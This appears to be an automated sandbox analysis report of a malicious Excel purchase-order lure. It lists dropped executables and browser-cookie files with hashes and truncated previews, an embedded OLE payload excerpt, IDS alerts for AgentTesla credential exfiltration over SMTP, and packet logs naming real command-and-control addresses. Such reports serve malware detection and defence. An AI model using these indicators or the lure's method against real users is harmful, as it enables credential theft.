Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata...................................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\maxdyn2.1[1].htm

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	4.51833957423091
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLPfLRIwcWWGu:q43tISl6kXiMIWSU6XlI5LPtIpfGu
MD5:	84855C13836B389D5EC7CFD4C9266173
SHA1:	1CF3056FF23C4176FD7CA9816A000ED461D6D323
SHA-256:	502083C916AE481CDD413B8D93315300653DF5FB3DCC5770C01991DE19977EAE
SHA-512:	2479112004884D42D4FFE1174DC358C5D1B0FA2B41641D32F2FB67539C4F834D63CFBBF7E98C63B9A64E49B26390C410BB7E50F1AD4A755F32D081367AF05FCB
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>nginx/1.18.0</center>..</body>..</html>..

C:\Users\user\AppData\Local\Temp\C21.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.1464700112623651
Encrypted:	false
SSDEEP:	3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
MD5:	72F5C05B7EA8DD6059BF59F50B22DF33
SHA1:	D5AF52E129E15E3A34772806F6C5FBF132E7408E
SHA-256:	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
SHA-512:	6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
Malicious:	false
Reputation:	high, very likely benign file
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ektmwwvwm.tx

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	data
Category:	dropped
Size (bytes):	6089
Entropy (8bit):	7.152515480225036
Encrypted:	false
SSDEEP:	96:Farc6oYdg/DrYum6Pk2XO5oSwY26zxyI6zwOWPMjjSMCV763doT1QBDFRnToEtCg:FarcRF/hX1S92rI6zw3PMjOnVWm4zxt1
MD5:	0BB62A24E1C4BA564B2955208EC425A4
SHA1:	290835BE626C75982BCF6FDA4C3A30C0959E933B
SHA-256:	49808CA9A19F80AB31F99AFB9BE50C1AD72B454E0E05EC0CEBCB4318AF8F106E
SHA-512:	52C6B0568A64B0B1A0D4E50E2EEFFE982D2157E46F4BEAC1239FEF6B4518772C6225C0E4B59B79E3C9FF3B906E95AD82C135B762EA09591CDD260907BF34998F
Malicious:	false
Reputation:	low
Preview:	.005m..f.F<...05o.:......?v>.3.3.<......M.knl.02a..c.E<...42c. ......4.D63.6.3.?.....E.gni.53P..805.p8.q?.2.8.u .a..beabo.H0..v..v.@3.`..i/7.p.6.t(2..g.}.u<..G-.0.3.h.f....w8L$.m.r.D;F...okc..m.;4.q.?.<@.4.0...m..u<f...@%.`4..D'd.O$..A5..=..<r..4M.knl.82a..Q..401ec.t4.M4...D;.D..d580..E9....E....3.u.mje.18e..`W..480.x<.p=.4.4.p-P..6.c.!....D%.\|.eX.....+..t..0....e.a..`beP..580.p=.t>.8.5.p,XE..Md.....M9..e...@4......F1..u.\|c.....Lq.}<...v<+480.}<;.&<.>..r.^.q8F0....q.^.q8F0...^..M...3uc.....}<F...kloe.=8e...548.r...t..w.(058.q..v..I.0A..q..34.q.p.}..u.{.w....}.p013......u.L.4F".u..04.t.t.q..p.x.u....q.8580..Y...}..E.4D'.q..80.}.t.t..w.p.p...X+AK..M......v.ZXK.J.E.....}.]..O.F.....u.X_.M.M......H...X...K.D.....}.\&....A..B....G...P5..O.E..P....\...Y...K.E..a....B...].4.T.4.q0.p..q..~<1\|..x.q.>.t&.u.\|1,.t..w.pe..\...w.p..u.T.4.Q.0.}.;.q%..5M%.}.;.qm..tL9.}.5013.6.].5.u...K...P3480..u...dR0.m...D4...B358.q.0342.}.e......dX4R0]<048[3^2^8Z5..p...d.a..

C:\Users\user\AppData\Local\Temp\gebgvlm.mce

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	data
Category:	dropped
Size (bytes):	271066
Entropy (8bit):	7.971057420310617
Encrypted:	false
SSDEEP:	6144:5praAyoXuxoSOiPJqzDTyXtF+yWZtwa/AAISfplt6yJY:P+A1exoXihQDTyXtF+eAISfB6yJY
MD5:	4226677AC10D1E9C98E7FA0BE1801081
SHA1:	E653B5DDE2497E0EA31564108A0CD6BC30588091
SHA-256:	A9166C519742C1F3FDB958B604AA997D9F90619F63BB52EB4F4F2A40119893AE
SHA-512:	604AD9EAA2CC53963F2DFF1677F2AEC966023FC13E72163C9DA07F8839FC7ED08733BD388221E1460A38C65B0AAB4088C75C588DC66C0E83DEF8AA431D6DD1E3
Malicious:	false
Reputation:	low
Preview:	"..._)....uR...B....X...ht..J..9.g\|........O........7..Q3\.....L..l....6..=..W.A,C .\|........l.......@....Q..!K+..m..2...&....0.HO.:..C..3.f..\|^.`. ..58...8Rbc...m..!.f.l-...^.a..E\|y.7.KT.......8..H...H)i.A...0.N..P...Q... $..........A.j.(...P...)...[.u....\|.....X...ht...W..v.\|....M...O..@~....7...3\./..#.._l...dq.L......j.Y(......?\..B..h...\...?r....r...82...&....^...[f"$.^.t....$.z .....0n4K.....%\..&...b.J..{.2.5r..=.3....A#.$I.X.K..dch.+ >..uh..<..U......_iiz..../.i^.L.A.j.(..].eu.)..2b.u....;(..>X...ht..J..9.g....J...........!7...3\.j..#.._l...q.L....P,.<..Y(R)K..Ma\..B.g....\...?r........+....&.......[..8...M..$H.0. ....%0n.K.....%\..&...b..&.%.2.5r..=.3....A#.$I.X.K..+y... >..uh..<..U....z..._iiz..../.i^.L.A.j.(...P...)..?.u....;....X...ht..J..9.g\|........O........7..Q3\./..#.._l...q.L....b..j.Y(..K..?\..B.gh...\...?r....r...82...&....^...[......t..$H.0. .....0n4K.....%\..&...b*..&.%.2.5r..=.3....A#.$I.X.K..+y... >..uh..<..U....z..

C:\Users\user\AppData\Local\Temp\lyebkz.exe

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	6.5023788666751425
Encrypted:	false
SSDEEP:	1536:UoJrPl54EsPLskvqzGUUzKx0sDuEse2OdHL8JiuGISrFuDthslJ5:7JBC/PLdXUUzKxbuBJi9+hsH5
MD5:	41467466B6E727C3C65D9501F6A23A04
SHA1:	9FD6FEEA3C5F566571A5499A3DFF7777C2BD642E
SHA-256:	10E0B5018E1B719E9E06C97E5A42E73B6F6E43400D512DFE641488D473B60BB0
SHA-512:	63B304710504834B5E139A48FBD8C6D483FE3D828187752FFB77E1D2AF76BCC08F9F1B8CD7D314EF36AC26F286F95C652298C8EA69A915E4CFB83AAC7A72334E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............b.}.b.}.b.}.0.}.b.}.0.}.b.}..j}.b.}.b.}8b.}.0.}.b.}.0.}.b.}Rich.b.}........................PE..L....>.c.................J...`......]........`....@.........................................................................\|........................................................................................`..L............................text....I.......J.................. ..`.rdata...1...`...2...N..............@..@.data....,..........................@...........................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nso9271.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\word.exe
File Type:	data
Category:	dropped
Size (bytes):	391675
Entropy (8bit):	7.717276941987671
Encrypted:	false
SSDEEP:	6144:ApraAyoXuxoSOiPJqzDTyXtF+yWZtwa/AAISfplt6yJoG2PLdXUiKx:A+A1exoXihQDTyXtF+eAISfB6yJoGmJK
MD5:	B3C6FF655C39C19AEB67C868B59D9EEA
SHA1:	D73532A8010A9A23C33B9518A6BEF306BDFB1A30
SHA-256:	80C5D55745ADA2AFB3D89DB60A30B3BF53144366EACB27E6D64E487350E9452B
SHA-512:	58E4F5CD697D2951F6B50BB0008A81A9C4058EA8FF93D23D3D2288F1BB39BF561E2FA5A310ACFB40443D453BFC4B68CCB895476F04A9C0D9381AD04BD8504B4B
Malicious:	false
Preview:	H/......,...................u...........f.......0/..............................................................................!...........................................................................................................................................................G...................j...........................................................................................................................................?...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFD6E0A1119A5FCA71.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	1527808
Entropy (8bit):	7.441644636879638
Encrypted:	false
SSDEEP:	24576:HItAjrBHn7n623BhtYSupBEE4VDHKJ2nIphalaq8E57SiVc8A3QA48kBlPM:UAHj62ju0EOqhhFvEpSwcxdk
MD5:	D9E7D18852579B0B72FCF6D015753D2D
SHA1:	5EA807AB3629865DB9367B9B0BE474416E18A44A
SHA-256:	779CADBEF88550653A7A0D84D728D0F63C15D5A37F7F408382CDC5DEDBE14062
SHA-512:	B87677ADA7E640A9C24AC2130CE6B3A97A633882B49E4233A534E13E8AD665586610A05B2825369574090C3BEB955C7A216266DC1F36668440B6E60661146D37
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\word.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	437857
Entropy (8bit):	7.111056886494438
Encrypted:	false
SSDEEP:	6144:WYa60xbEUHi5vD/IaOHPAhsYOUWlgV75xPV/i+wgn2eMmVdbDyr4L43hTHL:WYCxtY7/83YPPF/i+wwDMm3yr48Tr
MD5:	1CEC9C1FA633D554029A6402174612D1
SHA1:	E1E78DA0AA4693520428D567C33A3A84FE921D28
SHA-256:	FA5CE3B72762CCAD4365AC01E3B6ADFE7864B8D4065D5C7FFA266865746A4706
SHA-512:	064E23A151A88922A84F03EF110AAC9641C42651AD53FC5BCD807EF4751209FB281D5DFED718FF58D7462B75E1EBA93EE9EE173336D280092B43F04585412A1B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 36%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf.sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....Oa.................h...*......@6............@.......................................@..........................................................................................................................................................text...vf.......h.................. ..`.rdata...............l..............@..@.data...x...........................@....ndata...................................rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\yn4sky33.ptd\Chrome\Default\Cookies

Download File

Process:	C:\Users\user\AppData\Local\Temp\lyebkz.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, file counter 9, database pages 7, 1st free page 7, free pages 2, cookie 0xd, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.9650411582864293
Encrypted:	false
SSDEEP:	48:T2loMLOpEO5J/KdGU1jX983Gul4kEBrvK5GYWgqRSESXh:inNww9t9wGAE
MD5:	903C35B27A5774A639A90D5332EEF8E0
SHA1:	5A8CE0B6C13D1AF00837AA6CA1AA39000D4EB7CF
SHA-256:	1159B5AE357F89C56FA23C14378FF728251E6BDE6EEA979F528DB11C4030BE74
SHA-512:	076BD35B0D59FFA7A52588332A862814DDF049EE59E27542A2DA10E7A5340758B8C8ED2DEFE78C5B5A89EE54C19A89D49D2B86B49BF5542D76C1D4A378B40277
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C..........g...N......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\yn4sky33.ptd\Firefox\Profiles\7xwghk55.default\cookies.sqlite

Download File

Process:	C:\Users\user\AppData\Local\Temp\lyebkz.exe
File Type:	SQLite 3.x database, user version 7, last written using SQLite version 3017000, page size 32768, writer version 2, read version 2, file counter 4, database pages 4, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	524288
Entropy (8bit):	0.08107860342777487
Encrypted:	false
SSDEEP:	48:DO8rmWT8cl+fpNDId7r+gUEl1B6nB6UnUqc8AqwIhY5wXwwAVshT:DOUm7ii+7Ue1AQ98VVY
MD5:	1138F6578C48F43C5597EE203AFF5B27
SHA1:	9B55D0A511E7348E507D818B93F1C99986D33E7B
SHA-256:	EEEDF71E8E9A3A048022978336CA89A30E014AE481E73EF5011071462343FFBF
SHA-512:	6D6D7ECF025650D3E2358F5E2D17D1EC8D6231C7739B60A74B1D8E19D1B1966F5D88CC605463C3E26102D006E84D853E390FFED713971DC1D79EB1AB6E56585E
Malicious:	false
Preview:	SQLite format 3......@ ...........................................................................(.....}..~...}.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$PURCHASE ORDER & SAMPLE IMAGE.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.9985592022971685
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	PURCHASE ORDER & SAMPLE IMAGE.xlsx
File size:	1299605
MD5:	27f586f26da21955c782e9268ad1c4ce
SHA1:	b9be1204d078c487f6ade5e2a6cd2164c46a7996
SHA256:	2d46eee159ec36ab5e9f8bc29a7e0464c9b1be8c3454cdb8c9880640dcfda02f
SHA512:	8dd0dde10816b2f2653492c9a942454862fe4ff6607ceef511bde7899d2678b61d576c6e336a5b351a384e8acc06557ad13877f6c3d290c08d14402f5b038c65
SSDEEP:	24576:M3+8kJrnHnTNAu3BhBYSApBiQSxDH+4+Wn7EpfYlHB0lW9ZbKY+q7JCYcqt:MP0HhAwjAyQ+e4bnoYFBHZF+qNZt
TLSH:	ED5533E65038D45CEF0998B250EDD7565A31A0D610DBD0E2B2FC5CBA10BBFF5E268AD0
File Content Preview:	PK........T.2V.m.]....i.......[Content_Types].xmlUT...BR.cBR.cBR.c.UKO.1.....6.....1......h.....P..M;...N........l.i..\|.G.fY.l.!jg....,.+..v\...]..e..U.8..[Ad7..'...C..mc.&....('P..;..fF....7...r&........"Xl`.`..>..ZA.,.>..t..p$6X.[9.....&........9.[.C..F

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "/opt/package/joesandbox/database/analysis/786424/sample/PURCHASE ORDER & SAMPLE IMAGE.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:
Last Saved By:
Create Time:	2022-11-18T02:05:27Z
Last Saved Time:	2022-11-18T02:07:12Z
Creating Application:
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	12.0000

Streams

Stream Path: \x1ole10NATIVe, File Type: data, Stream Size: 1508006

General
Stream Path:	\x1ole10NATIVe
File Type:	data
Stream Size:	1508006
Entropy:	7.438472943097563
Base64 Encoded:	True
Data ASCII:	Y . . & 2 . . \| B . . . V - q . - 3 R . . . 1 . . o . . " F A . W @ K . ! i . . , A f U B x [ ) . u : . . . . V S . % . d . U S H _ ( . 1 R L / [ 3 } u ~ . . k . L q . S x s \\ . H > n x . z k , . c s f t . . * S c , ) . & . . 2 . R ] . 7 1 o U * J E . 7 E v m , & i b 4 . # 3 n o . c . e v . . / p q a 6 H % . M > . 6 . = 6 V [ U m \\ a f ) Y 3 7 : = J . 6 h . . ~ . b i . . c . K . L 7 [ o c ) . ^ _ 9 . L . ) B W + . M t . a . . Q . . w 8 . . 3 7 . . F r j 0 . { . H 0 . { . } . . g . ) H G 9 . . m .
Data Raw:	59 b3 93 04 03 20 26 ed 32 ce 01 08 b5 7c b9 c3 42 ba ff f7 d1 8b 19 8b 13 bb 8e d9 56 2d 81 eb de 71 10 2d 8b 33 52 ff d6 05 c7 96 03 31 05 9c b1 06 cf ff e0 6f e9 14 c5 18 22 46 41 00 57 c5 f6 96 40 4b bd f3 19 a7 8e 21 f5 be 69 d9 8c 06 9a 2c 41 66 8c 55 cb d0 42 78 5b 29 0a f4 75 ea 3a e7 96 af 9a 01 96 e6 2e e2 fa 16 9a 9a 56 b8 e7 53 12 bb 25 06 80 99 64 a0 91 9b 03 ee 55 53

Stream Path: rSp6HEeS5QRFS, File Type: empty, Stream Size: 0

General
Stream Path:	rSp6HEeS5QRFS
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.225.249.163.12491795872030171 01/18/23-09:14:44.835847	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49179	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491765872851779 01/18/23-09:14:10.473531	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49176	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491775872851779 01/18/23-09:14:10.519471	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49177	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491765872030171 01/18/23-09:14:10.473417	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49176	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491785872840032 01/18/23-09:14:44.736459	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49178	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491795872851779 01/18/23-09:14:44.836010	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49179	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491795872840032 01/18/23-09:14:44.836010	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49179	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491785872030171 01/18/23-09:14:44.736395	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49178	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491765872840032 01/18/23-09:14:10.473531	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49176	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491775872840032 01/18/23-09:14:10.519471	TCP	2840032	ETPRO TROJAN Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49177	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491775872030171 01/18/23-09:14:10.519401	TCP	2030171	ET TROJAN AgentTesla Exfil Via SMTP	49177	587	192.168.2.22	5.249.163.12
192.168.2.225.249.163.12491785872851779 01/18/23-09:14:44.736459	TCP	2851779	ETPRO TROJAN Agent Tesla Telegram Exfil	49178	587	192.168.2.22	5.249.163.12

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 18, 2023 09:13:37.180238008 CET	49173	80	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.283632040 CET	80	49173	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.283818960 CET	49173	80	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.285243988 CET	49173	80	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.385544062 CET	80	49173	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.385618925 CET	80	49173	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.385747910 CET	49173	80	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.445662022 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.445740938 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.445817947 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.482435942 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.482506037 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.876799107 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.877036095 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.888057947 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:37.888099909 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.888847113 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:37.888950109 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:38.243690014 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:38.243752003 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916760921 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916841984 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916862011 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:39.916896105 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916919947 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916929007 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:39.916946888 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:39.916954041 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:39.916981936 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:39.917001963 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:39.927768946 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.117497921 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.117599964 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.117796898 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.117796898 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.117837906 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.117939949 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.118000031 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.328938007 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.328959942 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.329016924 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.329107046 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.329137087 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.329157114 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.329185963 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.329344034 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.548795938 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.548815966 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.548871994 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.548922062 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.548962116 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.548983097 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.549010038 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.549099922 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.766771078 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.766789913 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.766839027 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.766870975 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.766910076 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.766937017 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.766962051 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.767075062 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.986762047 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.986785889 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.986843109 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.986949921 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.986984015 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:40.987025023 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.987145901 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:40.987145901 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.205790043 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.205815077 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.205904007 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.206020117 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.206053972 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.206075907 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.206111908 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.206320047 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.492043018 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.492073059 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.492158890 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.492260933 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.492301941 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.492325068 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.492352962 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.493026972 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.695800066 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.695921898 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.695972919 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.696027994 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.696052074 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.696079969 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.697871923 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.903736115 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.903769970 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.903872013 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.903944016 CET	49174	443	192.168.2.22	144.76.136.153
Jan 18, 2023 09:13:41.903990984 CET	443	49174	144.76.136.153	192.168.2.22
Jan 18, 2023 09:13:41.904014111 CET	49174	443	192.168.2.22	144.76.136.153
